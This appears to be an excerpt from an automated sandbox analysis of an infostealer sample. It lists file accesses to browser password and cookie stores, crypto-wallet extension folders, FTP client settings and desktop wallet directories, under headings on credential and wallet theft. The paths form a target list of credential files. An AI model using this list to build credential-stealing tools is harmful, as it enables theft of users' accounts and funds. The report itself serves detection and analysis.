Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
